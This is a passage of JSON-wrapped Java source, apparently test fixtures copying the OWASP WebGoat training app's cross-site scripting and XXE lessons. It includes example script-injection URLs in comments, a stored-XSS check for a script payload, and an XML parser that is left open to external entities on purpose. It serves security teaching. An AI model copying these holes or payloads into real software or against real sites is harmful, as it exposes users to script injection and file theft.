{\n    return \"xss-mitigation.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingQuiz.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xss;\n\nimport java.io.IOException;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class CrossSiteScriptingQuiz extends AssignmentEndpoint {\n\n  String[] solutions = {\"Solution 4\", \"Solution 3\", \"Solution 1\", \"Solution 2\", \"Solution 4\"};\n  boolean[] guesses = new boolean[solutions.length];\n\n  @PostMapping(\"/CrossSiteScripting/quiz\")\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam String[] question_0_solution,\n      @RequestParam String[] question_1_solution,\n      @RequestParam String[] question_2_solution,\n      @RequestParam String[] question_3_solution,\n      @RequestParam String[] question_4_solution)\n      throws IOException {\n    int correctAnswers = 0;\n\n    String[] givenAnswers = {\n      question_0_solution[0],\n      question_1_solution[0],\n      question_2_solution[0],\n      question_3_solution[0],\n      question_4_solution[0]\n    };\n\n    for (int i = 0; i < solutions.length; i++) {\n      if (givenAnswers[i].contains(solutions[i])) {\n        // answer correct\n        correctAnswers++;\n        guesses[i] = true;\n      } else {\n        // answer incorrect\n        guesses[i] = false;\n      }\n    }\n\n    if (correctAnswers == solutions.length) {\n      return success(this).build();\n    } else {\n      return failed(this).build();\n    }\n  }\n\n  @GetMapping(\"/CrossSiteScripting/quiz\")\n  @ResponseBody\n  public boolean[] getResults() {\n    return this.guesses;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/DOMCrossSiteScripting.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xss;\n\nimport java.security.SecureRandom;\nimport javax.servlet.http.HttpServletRequest;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class DOMCrossSiteScripting extends AssignmentEndpoint {\n\n  @PostMapping(\"/CrossSiteScripting/phone-home-xss\")\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam Integer param1, @RequestParam Integer param2, HttpServletRequest request) {\n    UserSessionData userSessionData = getUserSessionData();\n    SecureRandom number = new SecureRandom();\n    userSessionData.setValue(\"randValue\", String.valueOf(number.nextInt()));\n\n    if (param1 == 42\n        && param2 == 24\n        && request.getHeader(\"webgoat-requested-by\").equals(\"dom-xss-vuln\")) {\n      return success(this)\n          .output(\"phoneHome Response is \" + userSessionData.getValue(\"randValue\").toString())\n          .build();\n    } else {\n      return failed(this).build();\n    }\n  }\n}\n// something like ...\n// http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E--andMoreGarbageHere\n// or\n// http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/DOMCrossSiteScriptingVerifier.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xss;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/** Created by jason on 11/23/16. */\n@RestController\n@AssignmentHints(\n    value = {\n      \"xss-dom-message-hint-1\",\n      \"xss-dom-message-hint-2\",\n      \"xss-dom-message-hint-3\",\n      \"xss-dom-message-hint-4\",\n      \"xss-dom-message-hint-5\",\n      \"xss-dom-message-hint-6\"\n    })\npublic class DOMCrossSiteScriptingVerifier extends AssignmentEndpoint {\n\n  @PostMapping(\"/CrossSiteScripting/dom-follow-up\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String successMessage) {\n    UserSessionData userSessionData = getUserSessionData();\n    String answer = (String) userSessionData.getValue(\"randValue\");\n\n    if (successMessage.equals(answer)) {\n      return success(this).feedback(\"xss-dom-message-success\").build();\n    } else {\n      return failed(this).feedback(\"xss-dom-message-failure\").build();\n    }\n  }\n}\n// something like ...\n// http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E\n// or\n// http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/stored/CrossSiteScriptingStored.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xss.stored;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\n\npublic class CrossSiteScriptingStored extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A3;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"xss-stored.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/stored/StoredCrossSiteScriptingVerifier.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xss.stored;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/** Created by jason on 11/23/16. */\n@RestController\npublic class StoredCrossSiteScriptingVerifier extends AssignmentEndpoint {\n\n  // TODO This assignment seems not to be in use in the UI\n  @PostMapping(\"/CrossSiteScriptingStored/stored-xss-follow-up\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String successMessage) {\n    UserSessionData userSessionData = getUserSessionData();\n\n    if (successMessage.equals(userSessionData.getValue(\"randValue\").toString())) {\n      return success(this).feedback(\"xss-stored-callback-success\").build();\n    } else {\n      return failed(this).feedback(\"xss-stored-callback-failure\").build();\n    }\n  }\n}\n\n// something like ...\n// http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E\n// or\n// http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/stored/StoredXssComments.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xss.stored;\n\nimport static org.springframework.http.MediaType.ALL_VALUE;\n\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.google.common.collect.Lists;\nimport java.io.IOException;\nimport java.time.LocalDateTime;\nimport java.time.format.DateTimeFormatter;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.owasp.webgoat.lessons.xss.Comment;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class StoredXssComments extends AssignmentEndpoint {\n\n  @Autowired private WebSession webSession;\n  private static DateTimeFormatter fmt = DateTimeFormatter.ofPattern(\"yyyy-MM-dd, HH:mm:ss\");\n\n  private static final Map<String, List<Comment>> userComments = new HashMap<>();\n  private static final List<Comment> comments = new ArrayList<>();\n  private static final String phoneHomeString = \"<script>webgoat.customjs.phoneHome()</script>\";\n\n  static {\n    comments.add(\n        new Comment(\n            \"secUriTy\",\n            LocalDateTime.now().format(fmt),\n            \"<script>console.warn('unit test me')</script>Comment for Unit Testing\"));\n    comments.add(new Comment(\"webgoat\", LocalDateTime.now().format(fmt), \"This comment is safe\"));\n    comments.add(new Comment(\"guest\", LocalDateTime.now().format(fmt), \"This one is safe too.\"));\n    comments.add(\n        new Comment(\n            \"guest\",\n            LocalDateTime.now().format(fmt),\n            \"Can you post a comment, calling webgoat.customjs.phoneHome() ?\"));\n  }\n\n  // TODO This assignment seems not to be in use in the UI\n  @GetMapping(\n      path = \"/CrossSiteScriptingStored/stored-xss\",\n      produces = MediaType.APPLICATION_JSON_VALUE,\n      consumes = ALL_VALUE)\n  @ResponseBody\n  public Collection<Comment> retrieveComments() {\n    List<Comment> allComments = Lists.newArrayList();\n    Collection<Comment> newComments = userComments.get(webSession.getUserName());\n    allComments.addAll(comments);\n    if (newComments != null) {\n      allComments.addAll(newComments);\n    }\n    Collections.reverse(allComments);\n    return allComments;\n  }\n\n  // TODO This assignment seems not to be in use in the UI\n  @PostMapping(\"/CrossSiteScriptingStored/stored-xss\")\n  @ResponseBody\n  public AttackResult createNewComment(@RequestBody String commentStr) {\n    Comment comment = parseJson(commentStr);\n\n    List<Comment> comments = userComments.getOrDefault(webSession.getUserName(), new ArrayList<>());\n    comment.setDateTime(LocalDateTime.now().format(fmt));\n    comment.setUser(webSession.getUserName());\n\n    comments.add(comment);\n    userComments.put(webSession.getUserName(), comments);\n\n    if (comment.getText().contains(phoneHomeString)) {\n      return (success(this).feedback(\"xss-stored-comment-success\").build());\n    } else {\n      return (failed(this).feedback(\"xss-stored-comment-failure\").build());\n    }\n  }\n\n  private Comment parseJson(String comment) {\n    ObjectMapper mapper = new ObjectMapper();\n    try {\n      return mapper.readValue(comment, Comment.class);\n    } catch (IOException e) {\n      return new Comment();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/BlindSendFileAssignment.java",
    "content": "package org.owasp.webgoat.lessons.xxe;\n\nimport static java.nio.charset.StandardCharsets.UTF_8;\nimport static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;\nimport static org.springframework.http.MediaType.ALL_VALUE;\nimport static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.nio.file.Files;\nimport java.util.HashMap;\nimport java.util.Map;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.users.WebGoatUser;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * ************************************************************************************************\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * <p>\n */\n@Slf4j\n@RestController\n@AssignmentHints({\n  \"xxe.blind.hints.1\",\n  \"xxe.blind.hints.2\",\n  \"xxe.blind.hints.3\",\n  \"xxe.blind.hints.4\",\n  \"xxe.blind.hints.5\"\n})\npublic class BlindSendFileAssignment extends AssignmentEndpoint {\n\n  private final String webGoatHomeDirectory;\n  private final CommentsCache comments;\n  private final Map<WebGoatUser, String> userToFileContents = new HashMap<>();\n\n  public BlindSendFileAssignment(\n      @Value(\"${webgoat.user.directory}\") String webGoatHomeDirectory, CommentsCache comments) {\n    this.webGoatHomeDirectory = webGoatHomeDirectory;\n    this.comments = comments;\n  }\n\n  private void createSecretFileWithRandomContents(WebGoatUser user) {\n    var fileContents = \"WebGoat 8.0 rocks... (\" + randomAlphabetic(10) + \")\";\n    userToFileContents.put(user, fileContents);\n    File targetDirectory = new File(webGoatHomeDirectory, \"/XXE/\" + user.getUsername());\n    if (!targetDirectory.exists()) {\n      targetDirectory.mkdirs();\n    }\n    try {\n      Files.writeString(new File(targetDirectory, \"secret.txt\").toPath(), fileContents, UTF_8);\n    } catch (IOException e) {\n      log.error(\"Unable to write 'secret.txt' to '{}\", targetDirectory);\n    }\n  }\n\n  @PostMapping(path = \"xxe/blind\", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)\n  @ResponseBody\n  public AttackResult addComment(@RequestBody String commentStr) {\n    var fileContentsForUser = userToFileContents.getOrDefault(getWebSession().getUser(), \"\");\n\n    // Solution is posted by the user as a separate comment\n    if (commentStr.contains(fileContentsForUser)) {\n      return success(this).build();\n    }\n\n    try {\n      Comment comment = comments.parseXml(commentStr);\n      if (fileContentsForUser.contains(comment.getText())) {\n        comment.setText(\"Nice try, you need to send the file to WebWolf\");\n      }\n      comments.addComment(comment, false);\n    } catch (Exception e) {\n      return failed(this).output(e.toString()).build();\n    }\n    return failed(this).build();\n  }\n\n  @Override\n  public void initialize(WebGoatUser user) {\n    comments.reset(user);\n    userToFileContents.remove(user);\n    createSecretFileWithRandomContents(user);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/Comment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xxe;\n\nimport javax.xml.bind.annotation.XmlRootElement;\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\nimport lombok.NoArgsConstructor;\nimport lombok.Setter;\nimport lombok.ToString;\n\n/**\n * @author nbaars\n * @since 4/8/17.\n */\n@Getter\n@Setter\n@AllArgsConstructor\n@NoArgsConstructor\n@XmlRootElement\n@ToString\npublic class Comment {\n  private String user;\n  private String dateTime;\n  private String text;\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsCache.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xxe;\n\nimport static java.util.Optional.empty;\nimport static java.util.Optional.of;\n\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport java.io.IOException;\nimport java.io.StringReader;\nimport java.time.LocalDateTime;\nimport java.time.format.DateTimeFormatter;\nimport java.util.ArrayList;\nimport java.util.Comparator;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Optional;\nimport javax.xml.XMLConstants;\nimport javax.xml.bind.JAXBContext;\nimport javax.xml.bind.JAXBException;\nimport javax.xml.stream.XMLInputFactory;\nimport javax.xml.stream.XMLStreamException;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.owasp.webgoat.container.users.WebGoatUser;\nimport org.springframework.context.annotation.Scope;\nimport org.springframework.stereotype.Component;\n\n@Component\n@Scope(\"singleton\")\npublic class CommentsCache {\n\n  static class Comments extends ArrayList<Comment> {\n    void sort() {\n      sort(Comparator.comparing(Comment::getDateTime).reversed());\n    }\n  }\n\n  private static final Comments comments = new Comments();\n  private static final Map<WebGoatUser, Comments> userComments = new HashMap<>();\n  private static final DateTimeFormatter fmt = DateTimeFormatter.ofPattern(\"yyyy-MM-dd, HH:mm:ss\");\n\n  private final WebSession webSession;\n\n  public CommentsCache(WebSession webSession) {\n    this.webSession = webSession;\n    initDefaultComments();\n  }\n\n  void initDefaultComments() {\n    comments.add(new Comment(\"webgoat\", LocalDateTime.now().format(fmt), \"Silly cat....\"));\n    comments.add(\n        new Comment(\n            \"guest\",\n            LocalDateTime.now().format(fmt),\n            \"I think I will use this picture in one of my projects.\"));\n    comments.add(new Comment(\"guest\", LocalDateTime.now().format(fmt), \"Lol!! :-).\"));\n  }\n\n  protected Comments getComments() {\n    Comments allComments = new Comments();\n    Comments commentsByUser = userComments.get(webSession.getUser());\n    if (commentsByUser != null) {\n      allComments.addAll(commentsByUser);\n    }\n    allComments.addAll(comments);\n    allComments.sort();\n    return allComments;\n  }\n\n  /**\n   * Notice this parse method is not a \"trick\" to get the XXE working, we need to catch some of the\n   * exception which might happen during when users post message (we want to give feedback track\n   * progress etc). In real life the XmlMapper bean defined above will be used automatically and the\n   * Comment class can be directly used in the controller method (instead of a String)\n   */\n  protected Comment parseXml(String xml) throws JAXBException, XMLStreamException {\n    var jc = JAXBContext.newInstance(Comment.class);\n    var xif = XMLInputFactory.newInstance();\n\n    if (webSession.isSecurityEnabled()) {\n      xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"); // Compliant\n      xif.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\"); // compliant\n    }\n\n    var xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n    var unmarshaller = jc.createUnmarshaller();\n    return (Comment) unmarshaller.unmarshal(xsr);\n  }\n\n  protected Optional<Comment> parseJson(String comment) {\n    ObjectMapper mapper = new ObjectMapper();\n    try {\n      return of(mapper.readValue(comment, Comment.class));\n    } catch (IOException e) {\n      return empty();\n    }\n  }\n\n  public void addComment(Comment comment, boolean visibleForAllUsers) {\n    comment.setDateTime(LocalDateTime.now().format(fmt));\n    comment.setUser(webSession.getUserName());\n    if (visibleForAllUsers) {\n      comments.add(comment);\n    } else {\n      var comments = userComments.getOrDefault(webSession.getUserName(), new Comments());\n      comments.add(comment);\n      userComments.put(webSession.getUser(), comments);\n    }\n  }\n\n  public void reset(WebGoatUser user) {\n    comments.clear();\n    userComments.remove(user);\n    initDefaultComments();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsEndpoint.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xxe;\n\nimport java.util.Collection;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @author nbaars\n * @since 5/4/17.\n */\n@RestController\n@RequestMapping(\"xxe/comments\")\npublic class CommentsEndpoint {\n\n  @Autowired private CommentsCache comments;\n\n  @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)\n  @ResponseBody\n  public Collection<Comment> retrieveComments() {\n    return comments.getComments();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/ContentTypeAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xxe;\n\nimport static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;\n\nimport javax.servlet.http.HttpServletRequest;\nimport org.apache.commons.exec.OS;\nimport org.apache.commons.lang3.exception.ExceptionUtils;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestHeader;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\"xxe.hints.content.type.xxe.1\", \"xxe.hints.content.type.xxe.2\"})\npublic class ContentTypeAssignment extends AssignmentEndpoint {\n\n  private static final String[] DEFAULT_LINUX_DIRECTORIES = {\"usr\", \"etc\", \"var\"};\n  private static final String[] DEFAULT_WINDOWS_DIRECTORIES = {\n    \"Windows\", \"Program Files (x86)\", \"Program Files\", \"pagefile.sys\"\n  };\n\n  @Value(\"${webgoat.server.directory}\")\n  private String webGoatHomeDirectory;\n\n  @Autowired private WebSession webSession;\n  @Autowired private CommentsCache comments;\n\n  @PostMapping(path = \"xxe/content-type\")\n  @ResponseBody\n  public AttackResult createNewUser(\n      